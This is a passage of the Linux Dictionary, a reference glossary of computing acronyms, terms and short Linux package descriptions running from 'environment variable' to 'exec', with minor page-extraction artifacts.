An instruction stored in the MS-DOS environment that controls, for example, how to display the DOS prompt, where to store any temporary files, and the path of directories that DOS searches to find commands. The PATH, COMSPEC, PROMPT, and SET commands in the AUTOEXEC.BAT file all define environment variables. From QUECID
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Enterprise Objects Framework (NeXT) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

eog

Eye of Gnome graphics viewer program eog or the Eye of Gnome is a graphics viewer for GNOME which uses the gdk-pixbuf library. It can deal with large images, and zoom and scroll with constant memory usage. The goal is a standard graphics viewer for future releases of Gnome. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EPBR

Extended Partition Boot Record (PowerQuest) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EPDF

Embedded Portable Document Format (Adobe, PDF, HTML) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

eperl

Embedded Perl 5 Language ePerl interprets an ASCII file bristled with Perl 5 program statements by evaluating the Perl 5 code while passing through the plain ASCII data. It can operate in various ways: As a stand-alone Unix filter or integrated Perl 5 module for general file generation tasks and as a powerful Webserver scripting language for dynamic HTML page programming. For more information, please visit <http://www.engelschall.com/sw/eperl/> Author: Ralf S. Engelschall <rse@engelschall.com> From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EPG

Electronic Program Guide From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EPH

Electronic Payment Handling (banking) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EPHOS

European Procurement Handbook for Open Systems From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EPIC

Electronic Privacy Information Center (cryptography) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EPIC

European Public sector Information systems Conference From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EPIC

Explicit Parallelism Instruction Computing (Intel) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

epic

Modified ircII client with additional functionality EPIC is 100% backwards compatible with ircII because EPIC *is* ircII. EPIC was originally built upon the ircII-2.6 client and has maintained faithfulness to remain current up to the 2.8.2 release. EPIC is somewhat larger than the stock client (24%), but that is mostly because of the multitude of new features, the dual ANSI/K&R compliant function headers, and the large amount of re-written code in an attempt to make ircii faster, more efficient, and more powerful. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

epic4

epic irc client, version 4 epic4 is an irc client based on ircII. It is primarily suited to users who wish to write their own irc scripts or have irc scripts written by others. Previous versions of epic were 100% compatible with ircII 2.8.2, though this is no longer the case. Instead we've taken a new direction and chosen to find places where compatibility with ircII is undesirable and fix them. No gratuitous incompatibilities have been added, though many new features have been. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EPIM

Ethernet Port Interface Module (ethernet) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EPIX

Enhanced Performance unIX (Unix), "EP/IX" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EPLD

Erasable Programmable Logic Device From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

epm

Cross-platform package builder by Easy Software Products This package allows a developer to produce packages for several different platforms from a single specification. Currently, Debian dpkg, RPM, AT&T/Solaris pkg, HP-UX depot/swinstall, and IRIX inst/tardist packages are supported, as well as a "portable" package that includes installation and removal scripts and a GUI setup program. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EPN

Electronic-highway Platform Netherlands (ISP, Netherlands) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EPOC

[not an acronym] (Psion, OS, PDA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

epos

Language independent text-to-speech system. Epos is a language independent rule-driven Text-to-Speech (TTS) system primarily designed to serve as a research tool. Epos is (or tries to be) independent of the language processed, linguistic description method, and computing environment. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EPP

Education Purchase Plan (Adobe) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EPP

Enhanced Parallel Port / Protocol (Intel, Zenith, Xircom, IEEE 1284) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

epplets

The Epplets for the Enlightenment Window Manager Epplets are small applets for the Enlightenment Window Manager. Epplets are similar to dock apps for other window managers, but they take full advantage of Enlightenment's themeability. This is the base set of epplets, featuring E-Exec, E-Time, E-Sys, E-Mixer, E-Screenshot, E-Xscreensaver, and others. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EPROM

Erasable Programmable Read Only Memory (ROM, IC, RL, EPROM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EPS

Electronic Publishing Systems From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EPS

Embedded PServer (NEST, Novell) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EPS (Encapsulated Postscript File)

A high resolution image stored in the Postscript page description language. The EPS standard enables users to transfer high-resolution graphics images between applications. You can size EPS images without sacrificing image quality. A major drawback of EPS graphics is that to print them, you usually need a Postscript - compatible laser printer. A second drawback is that most application programs, you cannot view the image on-screen unless you attach a screen image to it. To provide an alternative to expensive PostScript printers, developers have created programs, such as LaserGo,

Linux Dictionary

Inc.'s GoScript, that interpret and print EPS files on standard dot-matrix printers or non-Postscript laser printers. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

eps2eps

Ghostscript Encapsulated PostScript "distiller" From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EPSA

Early Page Space Allocation (AIX, IBM) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EPSI

Encapsulated PostScript Interchange From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EPSIG

Electronic Publishing Special Interest Group (org.) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

epstopdf

convert an EPS file to PDF From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

epwutil

Several utilities for EB(Electric Book)/EPWING epwutil is a set of small utilities that can deal with dictionary files in EB (Electric Book) / EPWING format. It contains: catdump – dump EB / EPWING catalog file bookinfo – Show info about the dictionary squeeze – compress dictionary files Would be nice to use with ndtpd, lookup-el, etc. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

eql

load balancing tool for serial network connections The eql_enslave tool allow you to double, triple, quadruple your network bandwidth with multiple point-to-point links. Works with PPP or SLIP. It needs "EQL (serial line load balancing) support" in the kernel. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

eqn

format equations for troff From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

equivs

Circumventing Debian package dependencies This is a dummy package which can be used to create Debian packages, which only contain dependency information. This way, you can make the Debian package management system believe that equivalents to packages on which other packages do depend on are actually installed. Another possibility is creation of a meta package. When this package contains a dependency as "Depends: a, b, c", then installing this package will also select packages a, b and c. Instead of "Depends", you can also use "Recommends:" or "Suggests:" for less demanding dependency. Please note that this is a crude hack and if thoughtlessly used might possibly do damage to your packaging system. And please note as well that using it is not the recommended way of dealing with broken dependencies. Better file a bug report instead. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ER

Externer Rechner (T-Online) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

erb

Tiny eRuby Yet another implementation of eRuby. It is written as pure Ruby script. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

erc

an Emacs IRC client This package contains ERC, an advanced IRC client for Emacsen. It supports multiple channel-buffers, nick completion, keyword highlighting, and so on. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ERCIM

European Research Consortium for Information and Mathematics (org., GMD, INRIA, CWI, RAL, ..., Europe) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ERD

Entity-Relationship Diagram From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Eridani Linux

Eridani Linux is currently at version 6.3, which builds upon Red Hat Linux 6.2, Red Hat Linux 7.0 and Eridani Linux 6.2 to continue to bring you the very latest release of the Linux Operating System and additional software, while maintaining an affordable price. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ERIN

Environmental Resources Information Network (Australia, network) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

erlang

A real-time, concurrent and distributed functional language Open Source Erlang is a functional programming language designed at the Ericsson Computer Science Laboratory. Some of Erlang's main features are: Clear declarative syntax and is largely free from side-effects; Builtin support for real-time, concurrent and distributed programming; Designed for development of robust and continuously operated programs; Dynamic code replacement at runtime. This package contains architecture-specific files of the runtime system. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ERM

Enterprise Resource Management From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ESANN

European Symposium on Artificial Neural Networks (conference, NN) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ESAXA

Enterprise Systems Architecture / eXtended Architecture (IBM, ESA, XC), "ESA/XA" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ESAXC

Enterprise Systems Architecture / eXtended Configuration (IBM, ESA, XA), "ESA/XC" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Escape code

A series of characters, combining Esd (ASCII value 27) with one or more ASCII characters, that you can use to change screen colours, control the cursor, create special prompts, reassign keys on the keyboard, and change your printer's settings (to compressed type or bold, for example). Also, the series of characters that engages a modem's command mode. In the Hayes command set, the escape sequence consists of three plus signs (+++). Synonymous with escape sequence. From QUECID
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ESCD

E

Extended System Configuration Data (BIOS, PNP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

escm

Embedded Scheme Processor escm is a filter program which takes a text with embedded Scheme expressions, copies it to the output with evaluating the Scheme expressions. You can use the power of Scheme to preprocess various text files, including CGI scripts. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ESCON

Enterprise Systems CONnect (IBM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ESCP2

Epson Specific Code / Protocol 2 (Drucker), "ESC/P2" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

escputil

a utility for Epson Stylus printers escputil is a utility to clean and align the heads of Epson Stylus printers. It can also check the current ink levels in the printer. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

escrow

In general, escrow means to hold something aside in case of eventualities. Analogy: For example, one company provide software that another company sells imbedded in their hardware. The second company (the OEM) is scared that the first company may go out of business, so requests that the first company put the source code for the software in escrow. Should the first company go out of business, the second company would still be able to sell their product. Key point: Law enforcement is constantly pushing for key escrow where a third party holds back-door keys to all encryption products. Law enforcement would then be able to obtain these keys with a court order into order to decrypt messages or eavesdrop on communications. They first propose a variant of the two-person rule in order to prevent abuse of the system. From Hacking-Lexicon
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ESD

Electronic Software Distribution From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ESD

ElectroStatic Discharge From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

esd

The Enlightened Sound Daemon From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ESD (Enlightened Sound Daemon)

This program is designed to mix together several digitized audio streams for playback by a single device. <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ESDC

Extra Segment Descriptor Cache [register] (ES, Intel, CPU) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ESDI

Enhanced Standard Device Interface From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

esdpvd

ESound Persistent Volume Daemon From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ESDS

Entry Sequenced Data Set (VSAM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Extensible Storage Engine (AD, MS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ESEC

European Software Engineering Conference (GI, BCS, AFCET, AICA, OeGI, SI, conference) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ESER

Einheitliches System dEr Rechentechnik (GDR) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ESF

Extended Super Frame (ISDN, T1) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

esh

the easy shell esh was primarily written out of a need for a simple and lightweight shell for Unix. As such, it deviates completely from all of the traditional shells, opting instead for a Lisp-like syntax. This allows exceptionally small size, both in terms of lines of code and memory consumption, while retaining remarkable flexibility and programmability. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

eshell

An Emacs command shell Eshell is a command shell implemented entirely in Emacs Lisp. It invokes no external processes beyond those requested by the user. It is intended to be a functional replacement for command shells such as bash, zsh, rc, or 4dos, since Emacs itself is capable of handling most of the tasks accomplished by such tools. This package is provided only for Emacs20, because eshell is included as part of both Emacs21 and XEmacs21. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Eshida Instant Embedded Linux

Eshida Instant Embedded Linux is an embedded Linux distribution for people who want to deploy embedded Linux technology immediately. Because the system runs directly on CD-ROM users spend zero effort to explor embedded systems. Version 1.0 was released April 18, 2003. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ESI

EST

Eastern Standard Time [-0500] (TZ, EDT, USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

estic

Administration program for ISDN PABX ISTEK 1003/1008 This program allows you the administration of the ISDN private automatic branch exchanges ISTEK 1003 and ISTEK 1008 (produced by the German company Emmerich). Note, that the documentation is mostly in the German language. The package includes the C++ class library SPUNK. This library supports writing text mode applications that are portable between different operating systems. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ESTO

Electronic Systems Technology Office (org., ARPA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

etags

generate tag file for Emacs, vi From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ETAI

Electronic Transactions on Artificial Intelligence (AI) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

etalk

talk client for the Emacs editor GNU Talk supports talk protocols 0 & 1. Defines protocol 2. Client supports multiple connections, file transfer, primitive encryption, shared apps, auto-answer, multiple front-ends including GTK and Emacs. The daemon collects request versions 0, 1, & 2 together, and permits interaction between clients of different types. Also supports MRU tty announce, announce-redirect, blacklists, and tty-bomb filtering. This package contains the ELisp files for Emacs. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ETANN

Electrically Trainable Analog Neural Network (NN) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ETAS

Elektronisches Teile-AuskunftsSystem (MBAG) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ETB

Elektronisches TelefonBuch (T-Online) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

E

ETB

End of Transmission Blank / Block From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ETC

European Test Conference (VDE, IEEE-CS, conference) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

etcskel

The etcskel package is part of the basic Mandrake system. Etcskel provides the /etc/skel directory's files. These files are then placed in every new user's home directory when new accounts are created. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ETE

End-To-End From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

eterm

Enlightened Terminal Emulator A terminal emulator in the spirit of xterm or rxvt, eterm uses an Enlightenment style config file, as well as themes. The Imlib graphics engine is used to render images. This version supports background images, pixmaped scrollbars, pseudo-transparency, POSIX threads, and unicode support. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

etex

extended TeX From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ETG

Enterprise Transaction Gateway (EDI, NT) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ETH

Eidgenoessische Technische Hochschule From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

etherape

Graphical network monitor modeled after etherman. EtherApe is an etherman clone. It displays network activity graphically. Active hosts are shown as circles of varying size, and traffic among them is shown as lines of varying width. It's Gnome and libpcap based. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

etherconf

debconf interface to Ethernet configuration This package provides a debconf-based interface to configuring the Ethernet on your system. Currently, it will only configure one Ethernet device, but more support is planned in the future. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ethereal

Ethereal is a network traffic analyzer for Unix-ish operating systems. This package lays base for libpcap, a packet capture and filtering library, contains command-line utilities, and contains plugins and documentation for ethereal. A GTK+ based graphical user interface is available in a separate package. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ethereal

Network traffic analyzer Ethereal is a network traffic analyzer, or "sniffer", for Unix and Unix-like operating systems. A sniffer is a tool used to capture packets off the wire. Ethereal decodes numerous protocols (too many to list). This package provides ethereal (the GTK+ version) From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ethereal-common

Network traffic analyser (common files) Ethereal is a network traffic analyzer, or "sniffer", for Unix and Unix-like operating systems. A sniffer is a tool used to capture packets off the wire. Ethereal decodes numerous protocols (too many to list). This package provides files common to both ethereal (the GTK+ version) and tethereal (the console version). From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Ethernet

a local area network (LAN) technology that transmits information between computers at speeds of 10 and 100 million bits per second (Mbps). Currently the most widely used version of Ethernet technology is the 10-Mbps twisted-pair variety. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Ethernet

A network architecture that utilizes radio frequency signals to transmit data via a coaxial cable. Ethernet is most commonly used in local area networks to connect local machines together. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Ethernet

A very common method of networking computers in a LAN. There is more than one type of Ethernet. By 2001 the standard type was "10-BaseT" which can handle up to about 100,000,000 bits-per-second and can be used with almost any kind of computer. From Matisse

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

etherwake

A little tool to send magic Wake-on-LAN packets You can wake up WOL compliant Computers which have been powered down to sleep mode or start WOL compliant Computers with a BIOS feature. WOL is an abbreviation for Wake-on-LAN. It is a standard that allows you to turn on a computer from another location over a network connection. etherwake also supports WOL passwords. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ethiop

A LaTeX package for typesetting Ethiopian texts. The Ethiopian script differs considerably from the Latin script. Most important, it consists of more than 350 different letters. A transcription method is presented here that can be used for the LaTeX typesetting system. It was implemented on the basis of the multilingual typesetting package 'babel'. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ethtool

Display or change ethernet card settings ethtool is used for querying settings of an ethernet device and changing them. It is mainly targeted to 2.4 kernel where this feature is available for many ethernet drivers. However, backward compatibility is ensured on 2.2 kernel running Sparc with SUN Happy Meal (hme) Ethernet card. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ethtool

This utility allows querying and changing of ethernet card settings, such as speed, port, auto-negotiation, and PCI locations. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ETK

Embedded ToolKit [for Windows CE] (MS, Windows, CE) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

etktab

ASCII guitar tab editor This program is used to write out guitar tablature in the typical style of ascii tab, often found around the internet. The code is based on TkTab by Giovanni Chierico. Many of the ideas for the alterations found here came from emacs tablature mode by Mark R. Rubin. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ETL

Extraction, Transformation and Loading From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ETLA

Extended Three Letter Acronym From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EtLinux

Prosa is an Italian free software company and the providers of EtLinux, an embedded GNU/Linux distribution that can run on a 386sx with 2Mb of ram. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ETO

Essentials – Tools – Objects (Apple), "E.T.O." From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ETR

Early Token Release (Token Ring) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ETS

Embedded ToolSuite (Phar Lap) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ETS

European Telecommunication Standard (ETSI) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ETS

Executable Test Suite (ISO 9646–1) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ETSI

European Telecommunication Standards Institute (org., Europe, ETSI) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ettercap

Multipurpose sniffer/interceptor/logger for switched LAN Ettercap supports active and passive dissection of many protocols (even ciphered ones) and includes many feature for network and host analysis. Data injection in an established connection and filtering (substitute or drop a packet) on the fly is also possible, keeping the connection synchronized. Many sniffing modes were implemented to give you a powerful and complete sniffing suite. It's possible to sniff in four modes: IP Based, MAC Based, ARP Based (full–duplex) and PublicARP Based (half–duplex). It has the ability to check whether you are in a switched LAN or not, and to use OS fingerprints (active or passive) to let you know the geometry of the LAN. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Ettrich, Matthias

Founder of the KDE Project with development of kwm (the KDE Window Manager), kpanel, session management and klyx. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ETX

End of Transmission teXt From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EU

Execution Unit (CPU) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EUC

Extended Unix Code (Unix, AT&T) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

eudc

Emacs Unified Directory Client EUDC, the Emacs Unified Directory Client, provides a common user interface to access directory servers using different directory protocols such as bdbb, CSO PH/QI, and LDAP. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EUID

Expands to the effective user ID of the current user or process, initialized at shell startup. From Rute–Users–Guide <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EUNET

Linux Dictionary

European Unix NETWORK (network, Internet, ISP, Unix) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Eurielec Linux

This was a project started by a club of students at ETSIT (UPM), according to the Spanish web site. Distribution development is not all that active. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EUS

EntscheidungsUnterstuetzende Systeme From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EUSIDIC

??? [European Association of Information Services] (org., Europe) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EUSUVP

EntscheidungsUnterstuetzendes System UmweltVertraeglichkeitsPruefung (EuropeS, XPS, Uni Hamburg, Germany) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EUUG

European Unix User Group (org., user group, Unix, Europe) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EV

EtagenVerteiler (cable, EN 50 173) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

evas-demo

evas library demo Evas is an advanced canvas library, providing three backends for rendering: X11 (without some features like alpha-blending), imlib2, or OpenGL (hardware accelerated). Due to its simple API, evas can be developed with rapidly, and cleanly. Install evas if you want to develop applications against the only hardware-accelerated canvas library, or if you want to try out the applications under development. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EVC

Enhanced Video Connector (VESA) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EVE

Extended Virtual Environment From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Even parity

In asynchronous communications, an error-checking technique that sets an extra bit (called a parity bit) to 1 if the number of 1 bits in a one-byte data item adds up to an even number. The parity bit is set to 0 if the number of 1 bits adds up to an odd number. See odd parity and parity checking. From QUECID

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

everybuddy

An all in one messaging client An all in one messaging client that supports AOL's Instant Messenger, ICQ, Yahoo chat, and MSN. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

eview

easy Vim, edit a file with Vim and setup for modeless editing From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EvilEntity Linux

Some say the Linux desktop is dead. Undead Linux seeks to counter that opinion by offering EvilEntity Linux, an easy to install, easy to use, i686 "Windows replacement" Linux desktop for the home computer. The initial release, EvilE DR-0.2.4d, was released April 26, 2002. EvilE DR-0.2.5 was released January 27, 2003. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

evim

easy Vim, edit a file with Vim and setup for modeless editing From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

evirtex

extended TeX From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

evms

Enterprise Volume Management System (core) The EVMS project provides unparalleled flexibility and extensibility in managing storage. This project represents a new approach to logical volume management. The architecture introduces a plug-in model that allows for easy expansion or customization of various levels of volume management. In order to make use of it, you must use a kernel which includes the EVMS patch, available in the kernel-patch-evms package. This package contains core infrastructure for EVMS, and the utilities evms_rediscover, evms_devnode_fixup and evms_info_level. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

evolution

Evolution is the GNOME collection of personal information management(PIM) tools. Evolution includes a mailer, calendar, contact manager and communication facility. The tools which make up Evolution are tightly integrated with one another and act as a seamless personal information-management tool. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

evolution

The groupware suite Evolution is the integrated mail, calendar and address book distributed suite from Ximian, Inc. See http://www.ximian.com/products/ximian_evolution/index.html for more information. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

evolver

Surface Evolver The Surface Evolver is an interactive program for the study of surfaces shaped by surface tension and other energies, and subject to various constraints. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EWAS

Elektronisches WareneingangsAbwicklungssystem (MBAG) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EWIKO

[verein zur foerderung] Elektronischer WissenschaftsKommunikation (org.) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Ewing, Marc

executive VP and CTO of Red Hat, developer of the most popular Linux distribution. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ewipe

Yet another presentation tool based on Tcl/Tk Extended WIPE is a presentation tool written in Tcl/Tk. Unlike MagicPoint, the de facto standard in this realm, you can create resumes for presentation with user-friendly GUI, then save manuscripts in HTML and mgp(Magic Point file format). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EWOS

European Workshop for Open Systems (OSI, ODA) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EWS

Employee Written Software (IBM) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EWS

European Workshop on SGML (org., SGML) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ex

Vi IMproved, a programmers text editor From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EXCA

EXchangeable Card Architecture, "ExCA" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

excl

/eks'kl/ n. Abbreviation for `exclamation point'. See bang, shriek, ASCII. From Jargon Dictionary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

exdbm

eXode database manager The eXode database manager is a structured ASCII-based database library. EXdbm can be used to manage the configuration files of eXode clients. The library uses a tree of hash tables structures stored in memory, favouring speed upon memory consumption. This is not a general purpose database library, its efficiency is based on the fact that the databases managed contain less than a few thousand entries. Note that eXdbm is a general purpose configuration library, it can be used in many other applications without relations to the eXode project. For information on the exode project visit <http://simplicity.net/exode>. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EXE

/eks'ee/ or /eek'see/ or /E-X-E/ n. An executable binary file. Some operating systems (notably MS-DOS, VMS, and TWENEX) use the extension .EXE to mark such files. This usage is also occasionally found among Unix programmers even though Unix executables don't have any required suffix. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

exec

